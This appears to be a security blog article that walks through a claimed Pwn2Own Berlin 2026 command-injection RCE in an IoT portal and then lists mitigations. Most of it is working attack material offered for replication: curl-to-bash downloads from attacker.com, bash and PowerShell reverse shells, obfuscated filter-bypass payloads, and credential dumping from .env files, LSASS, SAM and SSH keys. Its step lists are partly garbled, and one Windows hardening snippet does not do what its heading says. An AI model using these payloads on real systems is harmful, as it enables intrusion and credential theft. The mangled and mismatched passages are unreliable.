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Introduction:
Remote Code Execution (RCE) remains the crown jewel of bug bounties and exploit competitions like Pwn2Own. In the Berlin 2026 event, a researcher discovered a critical RCE vulnerability in a widely deployed IoT management portal – only to lose his slot due to timing and disclosure rules. This article dissects the technical anatomy of that RCE, provides hands-on exploitation techniques across Linux and Windows, and delivers enterprise-grade mitigations extracted from real competition playbooks.
Learning Objectives:
- Understand how an unauthenticated RCE can be chained through insecure API endpoints and file uploads.
- Execute step-by-step RCE exploitation using Metasploit, PowerShell, and custom Python scripts.
- Implement cloud hardening and WAF rules to block similar RCE vectors in production environments.
You Should Know:
- Reconnaissance: Mapping the Attack Surface Like a Pwn2Own Competitor
Before triggering any exploit, the researcher spent hours fingerprinting the target’s web dashboard. The vulnerable IoT portal exposed a hidden `/api/device/update` endpoint that accepted base64‑encoded firmware blobs. Using directory brute‑forcing tools on Linux and Windows, you can discover similar misconfigurations.
Linux command:
gobuster dir -u https://target-iot.local -w /usr/share/wordlists/dirb/common.txt -x .php,.asp,.json
Windows (PowerShell):
Invoke-WebRequest -Uri "https://target-iot.local/api/device/update" -Method POST -Body '{"test":"ping"}' -ContentType "application/json"
Step‑by‑step guide:
- Enumerate all API endpoints using Burp Suite’s spider or
ffuf. - Look for endpoints containing
upload,exec,eval,update,debug. - Send a benign payload (e.g.,
{"cmd":"whoami"}) to check for direct command injection. - If the server responds with command output, you’ve found an RCE primitive.
-
Weaponizing the RCE: From Injection to Interactive Shell
The Pwn2Own RCE originated from an unsafe `os.system()` call inside the firmware update routine. The researcher injected `; curl http://attacker.com/shell.sh | bash` into the `deviceId` parameter. Here’s how to replicate that on both Linux and Windows targets.
Linux reverse shell one‑liner (injected parameter):
deviceId=test; bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Windows PowerShell reverse shell (URL‑encoded):
deviceId=test; powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$c=New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + 'PS ' + (pwd).Path + '> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"
Step‑by‑step guide:
- Identify an input field that is passed to a system command (e.g.,
ping,nslookup,tar). - Inject command separators (
;,&&,|,\n) followed by your payload. - For blind RCE, use out‑of‑band detection (DNS/HTTP callback) via `curl` or
nslookup. - Upgrade to a full reverse shell using netcat, socat, or PowerShell.
3. Bypassing Input Filters with Encoding and Obfuscation
The Pwn2Own target had a rudimentary blacklist filtering ;, &, and $(). The researcher bypassed it using `${IFS}` and newline injection. Here are proven bypass techniques.
Linux filter bypass examples:
Instead of semicolon, use newline (URL encoded as %0a)
deviceId=test%0acurl http://attacker.com/evil
Use environment variable trick
deviceId=test$(echo${IFS}Y2F0IC9ldGMvcGFzc3dk|base64${IFS}-d|bash)
Wildcard abuse
deviceId=test; /???/nc -e /???/sh 10.0.0.1 4444
Windows command obfuscation:
Case variation
DeViCeId=test; pOwErShElL -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/run')"
Using backticks
deviceId=test; p<code>ower</code>sh<code>ell -c "whoami"
<h2 style=”color: yellow;”>Step‑by‑step guide:</h2>
1. Submit a simple test payload (test; ping -c 1 attacker.com). If no response, move to obfuscation.%0a
2. Try alternative separators:,%0d,%0a%0d,|,||,&,&&.%COMSPEC%`) or `cscript` to evade AV.
3. If blacklisted, use command substitution with base64 or hex encoding.
4. For Windows, use environment variables (
4. Post‑Exploitation: Credential Dumping and Lateral Movement
Once the researcher gained a reverse shell on the IoT management server, the next step was to pivot to the cloud backend. Extracted `.env` files revealed AWS keys. Use these commands to dump credentials on compromised hosts.
Linux credential hunting:
Find .env and config files find / -name ".env" -o -name ".conf" 2>/dev/null | xargs grep -i "secret|key|token" Dump process memory for cleartext secrets sudo gdb -p $(pidof java) -ex "dump memory /tmp/dump.bin" -ex quit && strings /tmp/dump.bin | grep -i "AKIA" Extract SSH keys cat ~/.ssh/id_rsa
Windows credential access:
Retrieve SAM and SYSTEM registry hives reg save hklm\sam sam.save && reg save hklm\system system.save Dump LSASS memory (requires admin) rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\temp\lsass.dmp full Extract saved RDP credentials cmdkey /list && powershell "Get-ChildItem -Path 'HKCU:\Software\Microsoft\Terminal Server Client\Servers' -Recurse"
Step‑by‑step guide:
- Enumerate running processes to identify security software and cloud agent tokens.
- Search for
.aws/credentials,.config/gcloud, or `Docker` environment variables. - Dump browser‑saved passwords (Chrome `Login Data` file) using
sqlite3. - Use `impacket` suite (from Kali) to pass‑the‑hash to other internal hosts.
-
Cloud Hardening: How to Block the Pwn2Own RCE Vector
The competition’s winning exploit would have failed if the target implemented these mitigations. Below are production‑ready controls for AWS, Azure, and on‑prem.
Web Application Firewall (AWS WAF) rule to block command injection:
{
"Name": "Block-RCE-Patterns",
"Priority": 10,
"Action": { "Block": {} },
"VisibilityConfig": { "SampledRequestsEnabled": true },
"Statement": {
"RegexPatternSetReferenceStatement": {
"ARN": "arn:aws:wafv2:us-east-1:123456789012:regexpatternset/rce-blocklist",
"FieldToMatch": { "UriPath": {} },
"TextTransformations": [
{ "Priority": 0, "Type": "URL_DECODE" },
{ "Priority": 1, "Type": "HTML_ENTITY_DECODE" }
]
}
}
}
Linux kernel hardening (disable dangerous syscalls):
Use seccomp to block execve on the API process
sudo systemd-run -p SystemCallFilter=~execve -p SystemCallArchitectures=native /usr/bin/api-server
AppArmor profile to restrict child processes
cat <<EOF | sudo tee /etc/apparmor.d/api-profile
/usr/bin/api-server {
deny /bin/bash wx,
deny /usr/bin/curl x,
deny /bin/netcat x,
}
EOF
sudo apparmor_parser -r /etc/apparmor.d/api-profile
Windows PowerShell Constrained Language Mode:
Set device guard to block dynamic code Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" -Name "EnableVirtualizationBasedSecurity" -Value 1 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LsaCfgFlags" -Value 1
Step‑by‑step guide:
- Sanitize all user input using allowlists (not blacklists). Use `regex` that only permits alphanumeric characters.
- Never call
os.system(),exec(), or `eval()` on user data. Use parameterized APIs or subprocess with list arguments. - Run all backend services as non‑root with read‑only filesystems (e.g., Docker
--read-only). - Deploy an EDR with behavioural blocking (e.g., CrowdStrike, SentinelOne) that detects `cmd.exe` spawning from web processes.
What Undercode Say:
- Key Takeaway 1: RCE vulnerabilities often hide in seemingly harmless “debug” or “update” endpoints – always audit API routes with fuzzing tools.
- Key Takeaway 2: Winning at Pwn2Own isn’t just about finding the bug; it’s about reliable weaponization and navigating competition rules. Timing and disclosure discipline are as critical as technical skill.
Analysis: The Berlin 2026 incident underscores a recurring theme in modern cybersecurity: the gap between vulnerability discovery and coordinated disclosure can cost researchers both recognition and reward. From a defensive standpoint, the exploit chain exposed that IoT vendors still rely on blacklist filters and implicit trust in internal APIs. The true solution lies in zero‑trust microservices where each component validates input as if it came from the internet. Additionally, cloud credential leakage via `.env` files remains a top attack vector – secret rotation and hardware security modules (HSMs) are no longer optional. Offensive practitioners should note that competition‑grade exploits heavily leverage living‑off‑the‑land (LotL) techniques to bypass EDR, while defenders need to implement application allowlisting (e.g., Windows AppLocker, Linux fapolicyd). Finally, the lost slot teaches a painful lesson: in high‑stakes bug bounties, having a perfect exploit is only half the battle – mastering submission logistics and competition rules wins the other half.
Prediction:
By Pwn2Own 2027, competitors will shift their focus from traditional RCE to AI‑injection attacks against LLM‑powered IT assistants. We predict that cloud orchestration APIs (Terraform, Kubernetes admission controllers) will become prime targets, where a single RCE can compromise thousands of containers. Defenders will respond with eBPF‑based runtime security and confidential computing enclaves, but the arms race will accelerate as offensive AI tools automate exploit generation from zero‑day disclosure to weaponization in under 30 minutes.
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